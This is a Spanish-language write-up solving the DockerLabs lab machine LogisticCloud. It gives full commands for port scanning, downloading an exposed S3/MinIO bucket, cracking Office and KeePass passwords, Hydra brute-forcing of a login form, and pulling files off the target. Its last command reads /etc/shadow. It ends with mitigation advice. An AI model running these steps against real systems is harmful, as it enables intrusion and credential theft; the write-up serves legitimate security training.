LogisticCloud
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina LogisticCloud, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario realista de infraestructura cloud donde un bucket S3 mal configurado permite el descubrimiento de credenciales que conducen a acceso completo del sistema.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de bucket S3 expuesto.
- Explotación: Descarga y análisis de archivos encriptados, extracción de credenciales y ataque a panel de login.
- Escalada de privilegios: Descubrimiento de archivo KeePass y extracción de credenciales root.
El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades comunes en implementaciones cloud.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | LogisticCloud |
| Autor | d1se0 |
| Dificultad | Medio |
| Fecha | 17/10/2025 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y lo desplegamos:
unzip LogisticCloud.zipsudo bash auto_deploy.sh LogisticCloud.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p LogisticCloud/{content,exploits,nmap,gobuster,scripts}cd LogisticCloudFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server - Panel de Login)
- 9000/tcp — HTTP (MinIO/S3 Compatible Service)
- 9001/tcp — HTTP (Consola MinIO)

Figura 2: Servicios expuestos incluyendo endpoint S3
2.2 Análisis del Servicio Web (Puerto 80)
Sección titulada «2.2 Análisis del Servicio Web (Puerto 80)»Realizamos un escaneo de directorios:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Figura 3: Resultados del escaneo en puerto 80
2.3 Enumeración de Contenido Web
Sección titulada «2.3 Enumeración de Contenido Web»-
/index.php — Panel de autenticación
Figura 4: Portal de login corporativo
-
/note.txt — Nota informativa
Ventana de terminal curl -s http://172.17.0.2/note.txtContenido: Menciona endpoint
/backup.xlsx -
Análisis del Formulario de Login: Inspeccionando el código HTML del formulario:
Figura 5: Campo oculto revelando bucket S3
Hallazgo crítico: El formulario contiene un campo oculto con
name="bucket"y valor"huguelogistics-data", indicando integración con servicio S3.
2.4 Identificación de Servicio S3
Sección titulada «2.4 Identificación de Servicio S3»Los puertos 9000 y 9001 son típicos de MinIO (servicio S3 compatible). El bucket mencionado sugiere que el backend utiliza este servicio.
Fase 3 — Explotación
Sección titulada «Fase 3 — Explotación»3.1 Interacción con el Bucket S3
Sección titulada «3.1 Interacción con el Bucket S3»Utilizamos la CLI de AWS para interactuar con el endpoint S3:
# Verificamos conectividad con el endpointcurl -s http://172.17.0.2:9000/minio/health/live
# Obtenemos política del bucketaws --no-sign-request --endpoint-url http://172.17.0.2:9000 \ s3api get-bucket-policy \ --bucket huguelogistics-data
Figura 6: Política que permite acceso público de lectura
Análisis de la política: El bucket tiene configuración Allow para s3:GetObject, permitiendo descarga pública de objetos.
3.2 Descarga del Contenido del Bucket
Sección titulada «3.2 Descarga del Contenido del Bucket»Descargamos todo el contenido del bucket:
aws --no-sign-request --endpoint-url http://172.17.0.2:9000 \ s3 sync s3://huguelogistics-data/ . \ --no-progressArchivo descargado: backup.xlsx
3.3 Análisis del Archivo Excel Encriptado
Sección titulada «3.3 Análisis del Archivo Excel Encriptado»Verificamos el tipo de encriptación:
file backup.xlsxexiftool backup.xlsx | grep -i "encrypt\|protect"Hallazgo: El archivo está encriptado con CDFV2 Encryption (estándar de Microsoft Office).
3.4 Crackeo de la Contraseña del Excel
Sección titulada «3.4 Crackeo de la Contraseña del Excel»Extraemos el hash y utilizamos John the Ripper:
# Extraemos hash de Officeoffice2john backup.xlsx > office_hash.txt
# Ataque de fuerza brutajohn --wordlist=/usr/share/wordlists/rockyou.txt office_hash.txt
Figura 7: Contraseña del Excel crackeada
Contraseña obtenida: launcher
3.5 Desencriptación del Archivo Excel
Sección titulada «3.5 Desencriptación del Archivo Excel»Utilizamos msoffcrypto-tool para desencriptar:
msoffcrypto-tool backup.xlsx decrypted.xlsx -p "launcher"3.6 Conversión y Análisis de Datos
Sección titulada «3.6 Conversión y Análisis de Datos»Convertimos a CSV para facilitar el análisis:
xlsx2csv decrypted.xlsx decrypted.csv
# Examinamos estructurahead -5 decrypted.csvEstructura identificada: ID,Nombre Completo,Correo,Departamento,Rol,Usuario,Contraseña,Teléfono,Ciudad,Fecha de Ingreso
3.7 Extracción de Credenciales
Sección titulada «3.7 Extracción de Credenciales»Extraemos usuario:contraseña del archivo:
# Extraemos columnas 6 y 7 (Usuario y Contraseña)awk -F',' '{print $6 ":" $7}' decrypted.csv | \grep -v "Usuario:Contraseña" | \sort -u > credentials.txt
# Verificamos cantidadwc -l credentials.txthead credentials.txt3.8 Ataque al Panel de Login
Sección titulada «3.8 Ataque al Panel de Login»Utilizamos Hydra para probar las credenciales extraídas:
hydra -C credentials.txt 172.17.0.2 http-post-form \ "/index.php:bucket=huguelogistics-data&username=^USER^&password=^PASS^:Credenciales incorrectas" \ -I -f -t 64
Figura 8: Credenciales válidas encontradas
Credenciales válidas: amador.vilanova.mármol:ricard88
3.9 Acceso al Dashboard Corporativo
Sección titulada «3.9 Acceso al Dashboard Corporativo»Accedemos al portal con las credenciales válidas:
- Usuario:
amador.vilanova.mármol - Contraseña:
ricard88
El dashboard muestra información similar al Excel, incluyendo detalles de empleados con rol “Jefe de área”.
3.10 Descubrimiento de Credenciales SSH
Sección titulada «3.10 Descubrimiento de Credenciales SSH»Revisando información de usuarios con rol “Jefe de área”, encontramos credenciales en la sección “Bandeja de Entrada” para prudencia-de-ferrera:

Figura 9: Credenciales SSH descubiertas en el dashboard
3.11 Acceso Inicial al Sistema
Sección titulada «3.11 Acceso Inicial al Sistema»Nos conectamos mediante SSH:
ssh prudencia-de-ferrera@172.17.0.2# Contraseña: [obtenida del dashboard]
Figura 10: Acceso SSH como prudencia-de-ferrera
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema
Sección titulada «4.1 Enumeración del Sistema»Comenzamos la enumeración post-explotación:
whoamiidpwdls -la4.2 Descubrimiento de Archivo KeePass
Sección titulada «4.2 Descubrimiento de Archivo KeePass»Durante la enumeración, encontramos un archivo interesante:
find / -name "*.kdb*" -type f 2>/dev/nullHallazgo: /etc/keepass/credentialsDatabase.kdb

Figura 11: Archivo de base de datos KeePass encontrado
4.3 Transferencia del Archivo KeePass
Sección titulada «4.3 Transferencia del Archivo KeePass»Transferimos el archivo a nuestra máquina para análisis:
En la máquina objetivo:
python3 -m http.server 8000En la máquina atacante:
wget http://172.17.0.2:8000/credentialsDatabase.kdb4.4 Crackeo de la Contraseña KeePass
Sección titulada «4.4 Crackeo de la Contraseña KeePass»Extraemos el hash y utilizamos John the Ripper:
keepass2john credentialsDatabase.kdb > keepass_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt keepass_hash.txt
Figura 12: Contraseña de KeePass crackeada
Contraseña obtenida: princess
4.5 Acceso Directo a Root
Sección titulada «4.5 Acceso Directo a Root»Probamos la contraseña obtenida para el usuario root:
su root# Contraseña: princess
Figura 13: Shell como usuario root
4.6 Verificación Final
Sección titulada «4.6 Verificación Final»idwhoamicat /etc/shadow | head -1Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Bucket S3 con acceso público de lectura | Crítica | Exposición de datos sensibles | CWE-284 |
| Archivos Excel con contraseñas débiles | Alta | Acceso a información sensible | CWE-521 |
| Contraseñas almacenadas en texto plano | Crítica | Exposición de credenciales | CWE-312 |
| Bucket S3 mencionado en código cliente | Media | Descubrimiento de infraestructura | CWE-200 |
| KeePass con contraseña débil | Crítica | Escalada a root | CWE-521 |
| Reutilización de contraseñas entre sistemas | Alta | Escalada lateral y vertical | CWE-308 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Configuración Segura de Buckets S3/MinIO:
- Implementar el principio de mínimo privilegio
- Evitar políticas que permitan
s3:GetObjectpúblico - Utilizar presigned URLs para acceso temporal
- Habilitar logging y monitoreo de acceso
// POLÍTICA SEGURA EJEMPLO{"Version": "2012-10-17","Statement": [{"Effect": "Deny","Principal": "*","Action": "s3:*","Resource": "arn:aws:s3:::bucket-name/*","Condition": {"Bool": {"aws:SecureTransport": false}}}]} -
Protección de Archivos Sensibles:
- Utilizar cifrado fuerte para archivos confidenciales
- Implementar contraseñas complejas (mínimo 16 caracteres)
- Considerar cifrado a nivel de archivo y disco
- Utilizar soluciones de gestión de secretos
Ventana de terminal # Ejemplo de cifrado fuerte con GPGgpg --symmetric --cipher-algo AES256 backup.xlsx -
Gestión de Credenciales:
- Implementar sistema centralizado de gestión de secretos
- Evitar almacenar credenciales en texto plano
- Utilizar autenticación multifactor
- Rotar credenciales regularmente
Ventana de terminal # Usar variables de entorno o sistemas como Vaultexport DB_PASSWORD=$(vault read -field=password secret/database) -
Protección de Archivos KeePass/Password Managers:
- Utilizar contraseñas maestras complejas
- Implementar key files adicionales
- Configurar auto-cerrado después de inactividad
- Realizar backups cifrados
Ventana de terminal # Crear base de datos KeePass segurakeepassxc-cli db-create database.kdbx \--set-password --set-key-file=/path/to/keyfile -
Seguridad en Desarrollo Web:
- No exponer información de infraestructura en código cliente
- Implementar validación de entrada robusta
- Utilizar parámetros seguros para integraciones cloud
- Realizar code reviews de seguridad
// INCORRECTO: Bucket hardcodeado en HTML<input type="hidden" name="bucket" value="huguelogistics-data">// CORRECTO: Obtener de configuración segura$bucket = getenv('S3_BUCKET_NAME'); -
Monitoreo y Detección:
- Implementar alertas para descargas masivas de S3
- Monitorear intentos de fuerza bruta en paneles de login
- Configurar detección de anomalías en accesos
- Realizar auditorías de permisos regularmente
Ventana de terminal # Configurar CloudTrail/Alerts para S3aws cloudtrail put-event-selectors \--trail-name my-trail \--event-selectors '[{"ReadWriteType": "All","IncludeManagementEvents": true,"DataResources": [{"Type": "AWS::S3::Object","Values": ["arn:aws:s3:::my-bucket/"]}]}]' -
Concienciación y Capacitación:
- Capacitar en seguridad cloud (S3, IAM)
- Establecer políticas de manejo de datos sensibles
- Realizar ejercicios de respuesta a incidentes
- Implementar programas de seguridad para desarrolladores